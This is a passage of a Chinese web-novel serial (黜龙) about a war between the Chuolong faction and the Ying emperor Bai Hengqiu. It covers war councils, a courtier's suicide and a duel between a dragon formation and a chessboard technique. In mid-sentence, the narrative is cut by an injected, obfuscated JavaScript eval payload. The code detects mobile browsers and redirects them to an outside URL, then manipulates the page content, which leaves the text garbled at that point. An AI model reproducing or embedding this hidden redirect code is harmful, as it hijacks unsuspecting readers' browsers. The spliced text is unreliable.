“所以我就想,能不能把韩引弓或者韩长眉拉过来,占住他们后路。”阎庆接口道。“但念头起来简单,却也不晓得怎么做,尤其內侍军的几位,怕是要恨透了韩引弓……而马分管跟徐总管他们继续说起来,也觉得韩长眉不大可能倒戈,只韩引弓是个三心二意的,有万一可能倒戈,可韩引弓倒戈只是改观局面,又不能真的影响战事全局胜负,还要惹的内里不满……这才扯起来的。” 张行连连点头,似乎心不在焉,竟直接去了一旁自己盛了碗粥,端到廊下案上去喝。 几人无奈,也不知道是继续争论,还是汇报起来,反正继续说了下去。 就这样,又讨论了一阵子,单通海忽然烦躁的站起身来,声音显得瓮声瓮气:“这也不行,那也不行,哪怕是真要什么十场八场大战,可如果没有足够进度和斩获,凭什么最后赢得是咱们?” “单龙头,之前开会时首席说过许多遍,没人觉得不该求胜……但眼下局面,怕只怕反而是求胜过度的那一方更容易露出破绽来。”徐世英言语中竟然显得有几分艰难,似乎在同时说服自己一般。“那一战你不在,但加上之前的两日乱战已经足够说明问题了……这种大战,不怕攻守异势,不怕平摊了乱打,怕只怕被人聚歼……所以很忌讳分兵与深入敌后。” 单通海沉默片刻,才继续言道:“我自然无话可说,只是想提醒你们这些中枢当家的,一定要存尽全力的心思,切不可将指望放到南北,否则便是成了,你们也无地自容。” 众人愈发无奈,气氛也有些干巴,不是说单通海这话多么震耳欲聋,而是这话听得几乎要磨出茧子了,张行本人都解释了不知道多少遍,如果正面战场有机会,绝不会放弃。 唯独眼下不是没有机会嘛,所以这些话又起来了。 几名文书和参军都忍不住去看廊下喝粥的张行。 后者也无奈,这个时候不说话不就显得不团结了嘛,便也放下粥碗来言:“老单说的有道理……如此大战,不是简单的持重就能行的,怕只怕我们持重了,也没犯错,人家被逼急了,奋力一蹬,到时候垮掉的反而是我们……真到了那个地步,咱们的努力、持重全都会成笑话。” “所以还是要试一些手段的。”徐世英接口道。“那我们试试韩引弓?” “韩引弓、韩长眉都试试。”马围插嘴道。“其他手段也要试……但是单龙头,你真不能动,真要是我们这里败了,就指望你救场呢。” 单通海愈发无奈:“都说了,我不是这个意思,只是要诸位警醒一些,千万不要持重持重着就不知道怎么赢了!” 到底是一摊手坐了下来。 周围人依旧多是苦瓜脸,倒是张首席喝完粥,忽然想起一事:“冬衣都到了吗?” “在汲郡。”徐大郎赶紧答应。“已经到了八成,剩下的四五日内也能到,差的也主要是民夫的白袄……天王亲自去了,准备先把预备兵的红袄在后面发了,然后带着战兵的黑袄过来。” “这就对了。”张行肃然道。“若是对面在沁水北岸发动一场乱战,然后寻个薛仁一般的将领,趁乱掩护他突袭到后方,一把火下去,到时候肯定是咱们狼狈退兵,大败而走。” “如此大战,真是……”其余几人还好,反而是单通海脸色有些变化。 “反过来说。”马围拢着手道。“是不是可以找到他们的冬衣,一把火烧了?” “不好办。”徐世英摇头道。“我想过,按照眼下情状,他们的冬衣肯定是都在河东,按照情报,后营那里是吐万长论,鱼皆罗则在河东坐镇,太原则是王怀通……我们要想烧掉他们的冬衣,要么从上党绕道在王怀通的腹下去打鱼皆罗,要么等冬衣送出轵关的那一刻,连续击败韩引弓与韩长眉,堵住道路。” “这便还是几无可能了?”阎庆再度摊手。 “说是几无可能,但还是要留意,真逼急了真要试一试。”马围正色道。“跟之前咱们说的那些走不通的路数一般无二。” 这一回,单通海全程听得尴尬,便没再吭声。 或许是单龙头在内的主战派逼迫,或许是黜龙帮的军事中枢本就有迎难而上的准备,又或许单纯是建造工程器械耗时耗力,此时不做些什么未免让人不安,所以黜龙军还是坚定的执行了一些“几无可能”的任务。 比如进一步渗透敌后,尝试策反敌方重要位置上的将领,最抱有期待的,其实还是东都的外围地区,比如南阳、淮西诸郡,但东都内里各处也都没有耽误,而几乎可以想象,大英对东都内里的渗透与策反尝试肯定是更进一步且先一步的……从这个角度来说,虽然眼下东都的局势貌似因为东西两家直接对峙进入到了一个居高临下的状态,但本质上还是最弱小且被视为鱼肉的那个。 其次,即便是韩长眉、韩引弓、王怀通、鱼皆罗,包括东都势力独立驻守龙囚关且与黜龙军有仇的尚师生,也都有使者带着张首席亲自签名的劝降信过去。 这就所谓有枣没枣先打两杆子,真到了局势紧迫乃至于必须要弄险的时候也就有了抓手。 书信最先送到的一人自然是韩引弓,他的驻地是河内郡的郡城,属于前线侧翼支点,就是河内城、安昌城、温城、旧温城四座城构成的目前战场态势。 钱唐的人先在军中搜索,很快找到了吕常衡营中一名曾经在关西当过兵的人,当晚便打着弄错尸首,交还尸首的旗号来到河内城,然后在城内指名旧日同列,提出要见一见故人……城内明显迟疑了一阵子,但还是让他见到了这名故人,随即便转交书信。 这种粗暴的方式,明显是没指望的。 然而,让黜龙帮高层根本不敢想的,或者说有意思的是,韩引弓接到书信后却动摇了。 没错,凡人论迹不论心,但此时大家都无迹可寻的时候,只从心而论,韩引弓确实动摇了。 动摇的原因有很多,比如说回到关西后,白横秋没给他预想中的地位,反而是重新启用了他那个之前被大魏废弃的大哥韩长眉,使得他不得不放弃家业独立出来;再比如说,这几日不止是对面的黜龙帮,关西诸将其实也意识到了战事的艰难……但更重要的一点是,韩引弓面对过稚嫩时期的黜龙帮。 那一战,虽然韩引弓没有把心思放在战事上,也的确没有完成曹林安排的钳形攻势,继而直接造成了黜龙帮在济水流域的崛起,可是他到底是交过手的,他知道那个时候的黜龙帮是什么底色什么水平,打个自己先锋的麻祜都要首席带着踏白骑拼命,打个一郡之力的张须果都需要全帮上下豁出去,可如今呢? 这种成长的速度,太惊人了。 韩引弓早在曹彻的时代就被锻炼成了一只极擅长跳船的老鼠,经历了大魏崩塌东西崛起的过程后就更是如此,他不敢让自己不在胜利者一方。 所以,他动摇了。 十月初四,天气居然开始转热……这当然也是正常的,小阳春嘛。 这一日上午,韩引弓接到军令,让他在傍晚后便衣离城,往中军大营内里的旧温城内进行军议……对此,韩引弓从容回复,并让属下准备寻常衣甲,晚间出城去见皇帝。 毕竟,动摇只是内心动摇,韩引弓又不是傻子,直接就做什么或者回复什么,他现在干干净净问心无愧,便是到了地方被白横秋一把捏爆,那也是嫌弃他打仗不够利索偏偏又右脚先进了门,跟动摇没关系。 然而,等到下午时分,还远不到出发的时间呢,一个不速之客先到达了河内城。 来者一身寻常甲骑打扮,混在一队巡骑之间,赫然是李定的大舅父、韩引弓的亲兄长,现大英启国公韩长眉。 韩引弓到底是关陇做派,哪怕兄弟二人已经起了嫌隙,但还是亲昵如常,出迎相见,把臂言欢。至于韩长眉来干什么,自然是也收到旨意,晚上去见皇帝之前顺路过来看看亲弟弟……说破大天去这也合情合理。 双方入了河内城的仓城,天气炎热,也不在堂中坐下,而是直接在空地上摆开桌案,而等到茶水奉上,韩长眉迟疑了一下,果然从家事说起:“三弟,李客走前与你说话了吗?” 韩引弓顿了一下,立即点头:“如何能不说话?到底是咱们亲姐姐、亲外甥,难道还要关门不纳?二哥如何想起问这个?” “只是突然想到罢了。”韩长眉叹道。“咱们兄弟见面,不说亲戚又如何?何况这是至亲了……而且,之前还有些避讳,可如今白三娘都在南面开战了,对面喊打喊杀的张三贼更是咱们这位陛下的女婿,还有什么可避讳的?也是因为这个想起来。” “不错。”韩引弓点点头,复又一叹。“李四这小子不错,区区一个郡的本钱,竟被他厮混成眼下这般局势,竟比咱们兄弟还有李家那些人都要强了。” “不是说他被闲置,故意扔到北地了吗?”韩长眉略显诧异。 “或许有这个意思,但他到底是行台指挥,是个龙头,手下也有自己的人,地盘也是实的,被扔到北地不也逍遥吗?”韩引弓不由失笑。“二哥莫非不晓得黜龙帮制度吗?” 韩长眉苦笑一声:“我如何晓得黜龙帮制度?我一直在关中,不曾得见黜龙帮虚实的……不瞒你说,我被摆在石山那边,算是最后方,连此战虚实都不晓得,所以来找你。” 韩引弓摇头不止:“我又懂得什么?我虽在前线,也只是守城。” “话虽如此,咱们亲兄弟,不找你找谁呢?”韩长眉更加愁眉苦脸。“晚上皇帝要问,我话都说不出来……而要是真去找那些人,被人下了绊子,说不得就要栽跟头。” 韩引弓点点头,站起身来:“二兄,黜龙帮的虚实一时半会说不清楚,你回去找找知情的人自己问,我带你走走,说说战场上的虚实,晚上好做交代。” 韩长眉自然颔首。 兄弟二人稍作试探,便也打住,韩引弓提前换了衣服和寻常铁甲,也不让自己的人跟着,直接入了兄长的队列便往外走去。 出门打马,伪作一队巡骑,先往南走一走,沿着战场做几日前的战况介绍,顺便说一下军中流言,对面哪个头领的哪个营打得好、厉害,哪个头领哪个营是废物,大家如何暗中排挤极速崛起的薛仁,而薛亮又如何窝囊? 然后又往北走,避开了实际上掌控了旧战场的黜龙军巡骑队伍,顺着沁水往下游去,窥探黜龙军营寨。 而很快,下午的阳光下,他们就看到了那个所谓的“一夜巨城”,也就是导致了关西军士气低迷,不得不避战的元凶。 坦诚说,从沁水岸边的视角过去,反而可以清晰的察觉到这个工程障眼法的底色,因为这里是侧翼,那些版筑并不能在视觉上统一起来,反而像是什么参差不齐的柱子立在那里。 但似乎是因为西面的阳光反射过来,使得这些柱子涂上了一层金色的缘故,韩引弓和韩长眉兄弟二人都看得入了迷。 两人都没有说话,但都知道对方在想什么,数十年前,他们还是个少年郎的时候,第一次从军,跟着大兄一起在毒漠隘口抵抗巫族侵扰,彼时就是用版筑法修补破损的城垒,而韩博龙治军严谨,即便是自家两个兄弟也只能光着膀子去和泥版筑……那时候,也这么一个温暖的傍晚,兄弟二人一起立起一个版筑,累的要死,就背靠背躺在了城头上,骂了许久大兄。 结果,几十年就这么过去了,双方却不敢再交心,更不要说一起骂谁了。 一直到傍晚,两人才打马去了自家大营。 这里依旧壮观,但相较于一直扩张和翻新的黜龙军大营,关西军大营这里已经好几日没有什么明显变化了。不过很快,他们就意识到,皇帝本人也察觉到了这一点,因为就在位于旧温城东面的中军大营侧前方,一个巨大的高台正在一些军中修行的高手亲自带领下飞速升起。 而看那已经接近中军大帐本身的高度就知道,绝对是已经辛苦了两三日。 “准备起多高?”韩引弓翻身下马,看向前来迎接的白立本。 “要一百尺高。”白立本平静做答。“然后铺上木板,贴上砖石,架上楼梯,上面再起版筑和小楼。” 韩引弓点点头:“没办法,总得做点回应,不然军心堪忧。” 白立本一点头,没有再说什么。 进入明显已经半永久化的中军大帐,里面已经等了不少人,韩氏兄弟跟白横元、司清河、刘扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168041|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基等人依次打过招呼,然后发现又多了一位面孔,对了一会才意识到是之前东都八贵,最早投了关西的张世本,好像担任什么侍郎,也不知道此战负责什么,为何又在此处。 一众关西权贵相聚,免不了乱糟糟的联络感情、冷嘲热讽,偏偏这里是皇帝兼大宗师的地方,谁也不可能真的表露心迹,或者说即便是真有目的的表达,也免不了表演痕迹。 一时间,这个说黜龙贼的修为,那个说司马正的脾气,你说你营中儿郎损失较大,我说我营中斩获更多。 第一次来到这个场合的薛仁左顾右盼,竟无一人与他搭话,好不容易找到角落里几个闷嘟嘟被人冷落的,正背着手站在那里,看着年龄也算好,结果一问姓名,好嘛,里面一个叫薛亮,也不知道回去该不该把旗子还给人家。 闹腾了好一阵子,等到帐内外点起蜡烛、火盆,正主也终于出现。 众人不敢怠慢,就如在朝堂之上一般,分列下拜,口称陛下,祝万岁。 平心而论,白横秋模仿的皇帝是大魏开国那位和早一些司马氏的那两位,不说别的,简朴总是真的,也不会让人喊他什么圣人,包括关西这里的一些气象,也被认为一扫之前的曹彻时期的万马齐喑之态。甚至,关西这里还采取了类似强制筑基一般的激进策略。 然而,上下内外,对这位皇帝守旧、**、暮气沉沉的批评总是不绝于耳,对大英**、关陇权贵压迫百姓的指责也没有停过。 原因嘛,不问自知,这里面除了暮气沉沉可以对应白横秋的年龄外,其余的批评都是来自于黜龙帮的对比,甚至就是黜龙帮本身喋喋不休,从不间断的指责与批评。 当然,关西这边对黜龙帮乌合之众,上下不明的嘲讽也是广泛存在的。 而现在,两军相撞,双方上下更是晓得,各自那些嘲讽还真不是瞎编出来的……更重要的是,将来谁赢了,那另一家身上的这类说法就要流传几百上千年的,遮都遮不住的。 就这样,关西诸将几乎与对面的黜龙军头领们一样,带着复杂心思,开始了这一轮军议。 军议内容很简单,如何取胜? 很显然,这是双方都要面对的问题,只不过黜龙军刚刚从防守转向进攻,而且还在筹划新一轮进攻,所以还不需要这种级别的扩大会议来定调与讨论。 “既如此,我先说。”第一次出现在这个场合的张世本只一拱手,便径直闪出道来。“陛下,臣以为眼下局面切?不可动摇退缩,此类国战,虽血流成河亦要决出胜负,要是计较什么得失,考虑什么周全,反而会自取灭亡!” 这话说的极重,不少人都斜眼去看,但也有人面不改色,因为他们知道,张世本曾有个如司马正、白有思一般的英俊儿子,结果丧命在了黜龙帮手中,态度自然激烈。 便是这厮当年头一批离开东都,据说也是因为司马正与黜龙帮的不战之约。 白横秋也没有生气,反而点头:“张卿说的有道理,可该如何作为?” “臣有缓急两个法子。”张世本肃然道。“关键在韦元帅那里……” “韦元帅?”饶是白横秋做好了心理准备,也有些惊异。 “不错,只要在当面击败了黜龙军主力,一战打垮他们三十个主力营,然后追入邺城,那么天下就已经定了,江南一隅之胜负无足轻重。”张世本恳切言道。“所以臣的急策便是,让韦元帅利用自己修为的优势,扔下南面战场,直奔此地而来,抢一个先手……” “然后呢?”白横秋心中已经否了这个急策,但还是耐住性子来问。 “然后,我们这里应该提前准备,请吐万长论大将军、鱼皆罗大将军、王怀通留后一起至此,这样,我们就能在猝然间多出一位大宗师、三位宗师,然后陛下亲自督阵为先锋,全力一击,便可完胜!”张世本说的兴奋,唾沫都喷了出来。 白横秋依旧耐住性子,继续点头:“那你的缓策呢?” “缓策便是不用等韦元帅,只北面三位宗师来此出阵。”张世本言简意赅。 白横秋堂堂大宗师,竟再度愣了一下,一时不知道该如何回复对方,其余诸将也都如见了鬼一般来看这位河东张氏出身的大员。 张世本似乎是察觉到众人的异样,想了一下,复又拱手补充:“但若如此,须以吐万老将军为中军指挥,上下一体,迭次突击,方可成功!” 白横元怎么都没想到事情会转到自己头上,但军中讽刺他不如对面一个三十不到豪强子弟的说法确实已经喧嚣甚上,便欲出声辩解。 而白横秋在上看的清楚,赶紧摆手接口:“确系是个法子,咱们听听其他人的想法,一并讨论。” 张世本闻言,非但不退,反而就势跪地叩首:“陛下,当断不断,必遭其乱,臣决不是危言耸听,臣自爱子丧命,多留意黜龙贼,晓得彼辈狂悖之处……张三贼蛊惑世间,帮中上下乃至于河北、中原士民都为之所动,便是乌合之众也如泥土烧砖一般被他锻炼成了一体,指望着他自败,宛若玩笑!” 白横秋微微敛容,周围人也都重新冷静下来。 “陛下。”张世本再度叩首。“臣晓得军中有议论,觉得北地半降半盟,不会全力助他;还有人说,李定是被他搁置遗弃或者干脆正是用来**北地的;还有人说,打到现在,不见幽州突骑,只有一个幽州出身的宗师魏大刀在,倒是河间降人颇多,可见黜龙军刚刚降服他处,真正能动员、管理的地方只到滹沱河……但要臣来说,这都是狗屁!黜龙军只是碍于战场狭窄,不能施展全力,所以干脆隐藏起来误导我们而已,一旦他们从晋北、江南处打开局面,便会势不可挡!” 话到这里,张世本再度叩首,言辞恳切至极:“陛下!眼下是最好的机会,趁他不备,趁他自家大意,只拿这些兵马来,咱们一战而胜,便是豁然开朗!否则的话,一步步跟他们对下去,咱们关西人便只有满盘皆输的局面!” 这话说得更离谱了,白横秋终于也有些掌不住,微微蹙起眉来。 白横元忍受不住,扶刀上前:“张公,我多问一句,咱们现在局面总是西魏对东齐的格局吧?东齐当年还握有东都呢,一开始还是东齐入关打我们呢,最后不也是我们胜了吗?怎么到了如今,我们主动来打他们,却成了我们一开始便在弱势呢?” “不错。”韩长眉也插嘴道。“若是张公指着强制筑基的道理,说往后几年他们的修行者越来越多,或者指着幽州、北地,说他们将来能控制局面,势力越来越大,所以这一次不能胜,往后我们要苦上两三年,我是认的……可现在不是咱们占优吗?便是之前一战,也是我们锋矢阵攻过去,他们狼狈之下用尽了手段守住了局面而已,谈什么此时不胜满盘皆输呢?” 张世本在地上抬起头来,几乎是翻身坐在那里环顾四面,然后气急败坏:“诸位,你们既然知道这些,难道还不明白吗?当年关西能胜东齐,是因为东齐那里仗着自己地大物博人多,肆无忌惮,到处浪费人力物力,而关西则开创了府兵,尽全力动员出了关西的底力!可如今却是反过来,人家黜龙帮的制度才是更能动员更多人、更多钱货、更多高手的,强制筑基就是个明证呀!偏偏人家地盘也比我们大,人口也比我们多!此时真是最后机会!” “张公危言耸……”韩引弓也要出言驳斥。 “危言耸听个屁!”张世本气急,以手指向周围诸将。“你们真是自大惯了!之前数代关西英豪的成就与你们何干?一个个只是仗着父兄的恩荫,如何能比得上对面草莽中历练出来的豪杰?!真以为祖上英雄自己便也是?说句难听的,便是咱们关陇的英豪,不也去投了黜龙帮吗?张世昭、白三娘、曹铭都去了!牛河都去了!对面版筑难道不是何稀造的?!如何只留下你们这些废物!” “够了!”白横秋终于听不下去了,直接呵斥起来。“张世本,朕晓得你与黜龙帮之间有深仇大恨,更兼此番去招降段威不成,心中羞愤,但这也不是你在这里肆无忌惮贬损同列的道理,张长志,把你族叔扶出去!” 张世本闻言,似乎还想说什么,却一口气呛到嘴里,再难说什么激烈言语,被拽走后不知道想到什么,干脆当着所有人的面嚎啕大哭哭泣起来,任由那个河东张氏出身的中郎将将他拽下去了,看的同为河东出身的薛仁目瞪口呆。 此人既走,灯火通明的大帐内反而冷峻下来……没办法,遇到这么一个开头和这么一个人,谁都觉得无语加晦气,甚至有人心里明显不安起来。 见此形状,白横秋的心腹重臣们自然不会继续躲闪,刘扬基闪身出来,却是将自己之前的方略摆出来,他的意思是,现在就撤兵……甚至称不上撤兵,掉头从河东转向弘农,打段威!就看司马正敢不敢从黜龙军大军眼皮子底下离开河阳去支援? 坦诚说,这似乎也的确是个方案,但白横秋只觉得气闷。 因为不管是张世本还是刘扬基,本质上都是认为,现在打不过黜龙军,他白横秋之前的战略计划是不对的。 不过也就是这两人了,很快白立本、韩引弓、司清河各自提出了一个算是务实的战术方案。 白立本的意思是,让鱼皆罗离开河东,出上党,过红山,威逼邺城,这样即便是不能把黜龙军惊吓回去,最起码也能试探出那位大司命的真正态度。 对应的,韩引弓则提出,上一战刚刚过去数日,即便是黜龙军做了替换补员,还是大英占优,之所以陷入困境,不外乎是黜龙军版筑的把戏,既如此,何妨有样学样,也做版筑……一来,自家版筑立起来后,下面的军士便会晓得对面到底是什么;二来,黜龙军明显要趁着大英不好出兵的间隙发动对营寨的攻略,以竖立信心,起版筑也是有效的防御手段。 司清河则建议,既然还是大英兵马占优,还是要攻,何妨趁着战事拉扯和防御营地的名义,迅速将营地往东扩展,拉近战场距离,确保双方一旦再度大规模交战有足够时间,而且这样的话,双方兵马猬集在空间极小的地区,便很容易将占优的攻势转化为全线击溃。 以此三件为准,大英国的精英们很快商讨出了一系列方案,充分反击了张世本“大英都是废物”的指责,倒是让人无话可说了。 于是乎,白横秋拍板,事情定下,复又摆宴招待诸将,一时觥筹交错,气氛好的不得了,只刘扬基区区几人脸色不佳,却也不影响气氛。 然而,酒过三巡,白横秋忽然抬头,然后便见一人闯入中军大帐,却几乎不能支撑,直接摔倒在地,然后抬起头来复又哆嗦到说不出话来。 白横秋在内,全场鸦雀无声,因为所有人都知道,这不可能是黜龙帮又起了一个什么“巨城”,因为来人正是张长志,刚刚将张世本拽走的人,所以,必然是张世本又闹出什么事端来了。 “说话!他怎么了?”白横秋放下筷子,不免愤愤,这皇帝怎么当起来这么难! “族叔,族叔……自尽了!”张长志尝试了好几次,才把最后三个字说出来。 满帐皆惊,就连白横秋都呆住了。 这至于吗?! 而且你不是跟黜龙帮有血海深仇吗?! 怎么就支撑不住了呢? 除非…… “族叔没有留下遗言,但臣劝他的时候,他曾说……大英想要胜黜龙帮,只有两条路,一是眼下战局,速速胜之,但没人信他,都觉得他荒唐,便是他死谏,也会觉得他荒唐;二是迅速吞并东都,但是他这次去劝降东都,看的清楚,段威那些人并不只是简单的拿东都做进身之阶,而是真对大魏有些怀念,对大英有些愤恨,所以东都也不可能迅速吞并。”张长志跪在地上,艰难复述。 听到这里,白横秋还在想什么,刘扬基一声叹气,站起身来,拱手相对:“陛下,不必在意,这厮早在他儿子死的时候就已经疯了……而且据我所知,他不光是把张三贼当做仇人,便是三娘也被当做了仇人,大魏同样做了仇人,司马正没救他儿子他也当做了仇人,如今怕是把我们也做了仇人……天下皆仇,不疯不死就怪了。” 众人唏嘘,白横秋也只能点头:“厚葬吧!” 确实,还能如何呢? 于是乎,众将纷纷出列下拜,口称陛下仁义。 PS:感谢碧雪剑老爷对绍宋的上盟,感谢琉璃琴老爷与数学老师老爷对黜龙的上盟……愿大家都有美好的未来,也希望大家五一玩的开心。 第八十七章 风霜行(6) “砰!!!” 伴随着一声巨响,薛亮面无表情的将目光移到了身后那被巨大**矢直接炸开一个口子的版筑层,然后便立即扭头看回了之前目光所在的主战场上。 彼处,正有经天纬地之势,龙腾虎跃之威。 没错,战争升级了。 尽管双方似乎都认定这场战争会是一个相对持久的战斗,双方也都认为眼下的战场已经陷入到了某种战略价值持续减少的泥淖境地。 可是,战争还是升级了。 十月上旬,黜龙军卷土重来,带着几十辆**车,上百架简易长梯,几十队拖拽牲畜队,四五架撞车,出现在了战场上,然后就对关西军的大营进行了激烈**。 **很失败,或者说在有充足修行者的大规模战场上,这类工程进展并不能确保随后的肉搏战推进。 到了这一步,战事其实已经在短短的一日内完成了两次升级,一次当然是工程器械的大规模投入,另一次则是在工程器械的压制下,双方成丹、凝丹级别的修行者不再顾忌,或主动或被动开始密集介入战场,控制区域阵地。 正因为如此,黜龙军在热热闹闹打了半天后,下午时分就开始撤军了……大量的工程器械被遗落在战场,引发了不少关西军的追击、争夺,于是早有准备的黜龙军又反扑了回来,数个精锐营头试图将这些追出营寨的失序关西军包抄、吃掉。 当此局面,特定的凝丹高手是不敢轻易冲出营寨的,于是乎,立在百尺高台上的大宗师兼大英皇帝终于出手了。 其人居高临下,在天地之间画出经纬,每落一白子,对应苍穹下的战场上大英军士便振奋莫名、疲惫尽消,彷佛四下有风生助其扶摇;而每落一黑子,对应苍穹下战场上的黜龙军士便行动滞缓、气力不足,似乎周围化为泥沼碍其往复。 这是一个与之前直接攻击的金银赤色棋子截然不同的大宗师法门,而且效果显著,下方关西军受此激励人人奋发,几乎要冲出营寨,全面追击。 对此,张行不敢再有丝毫怠慢,他稍微度量了一下,随军的五百踏白骑摆出来三百,然后在三位宗师的组织下再度显化为一条数百尺高的金色辉光巨龙,直接张开双翼朝对方军阵扑打过去……没办法,张行没有对应的高端手段,只能用这种低端方式应对。 你还别说,大英皇帝再高端,遇到这种打法也没办法继续高端,只能转化战术,重新排列金银赤色棋子,与辉光真龙当面对决。 这么一来,这大河畔真真是神仙斗法一般精彩,打到最后,两军寻常士卒几乎无人战斗,大部分人的注意力都在这神仙斗法上了,只有少数掌握**车的黜龙军与占据营垒的关西军时不时来一发冷箭。 而且,双方主帅竟然真是个不分胜负的局面。 这不是谁刻意的控场……实际上,双方都是被局势逼着上了台,都在不停地加码、试探,都在反复提高真气的强度、利用可能的战机发动攻击,但越往后打越心惊,因为双方都意识到对方远非昔日水准,不敢说势均力敌,最起码是短时间内难分胜负的。 当然,双方也都没有敢拼命,也都没有让各自押阵的那位宗师上场,毕竟嘛,河阳城那里还有另外一位大宗师,而且是立塔的大宗师在冷眼旁观呢……至于组织规模更大、威力更强的真气军阵,仓促间也没法子呀,也不敢呀,万一败了怎么办?! 不过,两军上下却并没有为这种势均力敌而感到震惊,恰恰相反,在他们看来,本就该如此才对——那张行虽只是个宗师,却也是河北之主,黑帝点选,背后神异肯定是通天的,配上两位宗师和三百奇经自然能与带着几十骑伏龙卫的关西之主不分伯仲;反过来说,白横秋虽然没黜过真龙,可到底是正经大宗师兼大英皇帝,关陇屹立天下近百年,如何能真怕了这三位宗师加三百踏白骑? 就这样,双方战至黑夜,兵马早已经撤回,却各自临营观战,宛若看夺陇比赛,看比赛前的舞蹈一般振奋。而双方真气纵横,皆以辉光真气为底,更是将夜空照射的流光溢彩。 这还不算,真龙跃动,往往带来风啸,棋子落地,更有雷鸣之音,端是热闹。 当然,白横秋怎么想的不知道,张行到底心疼踏白骑,寻了个机会,远离了那座百尺高台,然后在对峙中缓缓撤了神通……而从白横秋的反应来看,这一天打的,他也麻爪,不然也不会这么默契的撤了棋盘。 恢复平静的暮色中,一身金甲赤袍的白横秋面无表情走下高台,身后是满脸潮红的薛仁和同样姿态的残余伏龙卫,而迎接他的竟是数以百千……乃至于在他大宗师视野内可称万计的振奋面庞。 这些人近处则在火光下诚心诚意的行礼,远处则欢呼雀跃,好像自家皇帝得胜归来一般。 白横秋心知肚明,不仅关西军会欢呼自己,张行回营后也会得到欢呼,哪怕双方都没有胜利……因为本质上,这是一种释放,战场上压力的释放,经此一役,下面的将领、军士都晓得,自己承担的战事责任变小了,天塌下来高个子顶着,所以才会由衷的放松下来,进而欢呼。 这还不算,如果后续战事没有意外的话,那么这场战斗将会被载入史册,会覆盖掉之前军士们的辛苦作战,乃至于撤军后,大家还会根据这一战双方那神乎其神的表现给出一个此战不分胜负的总结,而无视掉内里许多纷繁复杂的事物。 甚至今晚之后都不会有人再担心仓促撤兵引发军心不稳了,因为可一切的军事矛盾都在表面上转移到了最高级高手之间的战斗上去了。 但实际上呢? 实际上经此一役,白皇帝反而肯定了一件事,那就是这场战争,最起码是眼下汲郡这场战役,很可能就是要靠下面的将士才能定胜负。 可为什么? 是天意吗?天意不许修行者自行天命?!可天命不是有加于自己吗?还是如冲和所言,张行自己动摇了天命,所以天意不敢再展露天命? 所以接下来还能有什么?司马正? 不对,司马正来了,三方更加纠缠不清,难分胜负,是真气大阵,汇集双方所有修行者再结合军阵的真气大阵……可万一真气大阵也不能了断呢? 恍惚中,思绪有些混乱的白横秋看到了刘扬基,后者居然也明显振奋起来,几乎可以想象,如果此时再问对方策略,这位起兵时的心腹宿将说不得会不再坚持撤军另战的建议……而对方不晓得是,眼前这位正在接受数万将士欢呼的皇帝,此时反而在一定程度上认可了他的建议,甚至有那么一瞬间想到了张世本。 没错,之前一直没有动摇过的白横秋,此时竟然有了一丝动摇。 三更时分,雷声隆隆作响,后半夜的时候,一场标准的雷雨在这个温暖的初冬时节落下。 这很不合理,因为昨天还艳阳高照,没见半点云彩,但考虑到之前真龙跟天地棋盘的斗争,什么不合理也都合理了,说不得是四御老爷天上看高兴了,打个雷助威呢。 伴随着雷鸣,雨水淅淅沥沥的下,温度终于稍微转凉,不过到了第二日,黜龙军提前发放战兵标配黑色冬衣的举措还是引起了不满,因为温度还达不到那个份上,冬衣到手又免不了自家保管,丢了脏了都是自家的事。 当然,这些抱怨都是虚的,真正的情绪来自于冬衣背后的含义,任谁都知道,冬衣的到来意味着黜龙军做好了在整个冬日继续作战的准备,军士们难免不安与厌倦。 之前理解的战争长期化可不是这种长期化。 “得加强轮换,务必保持军心……尤其是在持续伤亡又没有地盘、金银钱帛战利品入帐的时候。” “前日那一战后,军心其实是被鼓舞的。” “没有意义,他们只是觉得首席那么厉害,自己可以省点心罢了,而不是真的军心振奋……要我说,可能往后军士作战会懈怠也说不定,偏偏这一战反而证明了,上头就是势均力敌,就是要下面敢战能胜才行。” “开军市如何?” “没有战利品,军市无用,总不能去搜罗**吧?真那样,只怕魏国主先杀到此间,砍了几千当兵的与你我。” “把家眷接来如何?” “嗯?” “现在是十月,农闲,放在往日也是做市场、搞祭祀,邺城和军中也要搞夺陇的……” “咱们已经搞了。” “但还不足……我的意思是,反正战场在河内,背后就是咱们河北腹地,如何不能许闲坐在家的军士家眷来汲郡探视?顺便开建市场,让曹总管那里送些军需,允许他们家眷自购一些额外的补给进来?” “家眷买补给?” “当然……我们本身自然是发足了的,但只要家眷过来,就总会觉得自家父兄丈夫缺东西,就好像强制筑基一般,一个郡怎么都不可能饿着这几百个孩子几个月的,但现在家里有钱的要是不给孩子买个军中淘换下来的牛皮包,没钱的不给缝个布包,都是过不去的……咱们把济阴军衣场的护耳、围脖拿过来发卖,她们几个小钱花下去,便有了心安的道理,她们家眷心安了,军士也就心安了。” “……” “确实有些道理。” “受伤的不说,可以先定个规矩,有战功的先去,然后慢慢的铺陈……要不要盖些房子?” “来不及了,租赁些吧?” “你不晓得,汲郡那里现在是寸土寸金……甚至都不是钱的事情,太多物资、伤员、民夫了。” “确实,可那也没办法,总得做些事情,不然要我们这些军务部文书跟王翼部的参谋干什么?” “不错,汲郡再麻烦,也总比河内强,河内倒是干净,老百姓有钱的去东都、去邺城,没钱的跑山里……” “发文给魏公,让他想法子收容一下北面山里的河内难民。”斜靠在温城县衙公房窗台上,听了半日雨落屋檐的张首席忽然插嘴。“然后斟选一下,送一些到此间做民夫,比从后方征发民夫要好许多……汲郡开军市请家眷也无妨的,可以做。” 几名正在议论的参军、文书立即闭嘴,然后迟疑了一下,许敬祖越过了还在发呆的马围来应声:“首席放心,马上做文书。” 倒是张行,此时察觉到了马围的异样,却没有直接询问,反而继续来问许敬祖这些人:“马分管在想什么?” 许敬祖等人能如何,只能尴尬束手去看马围。 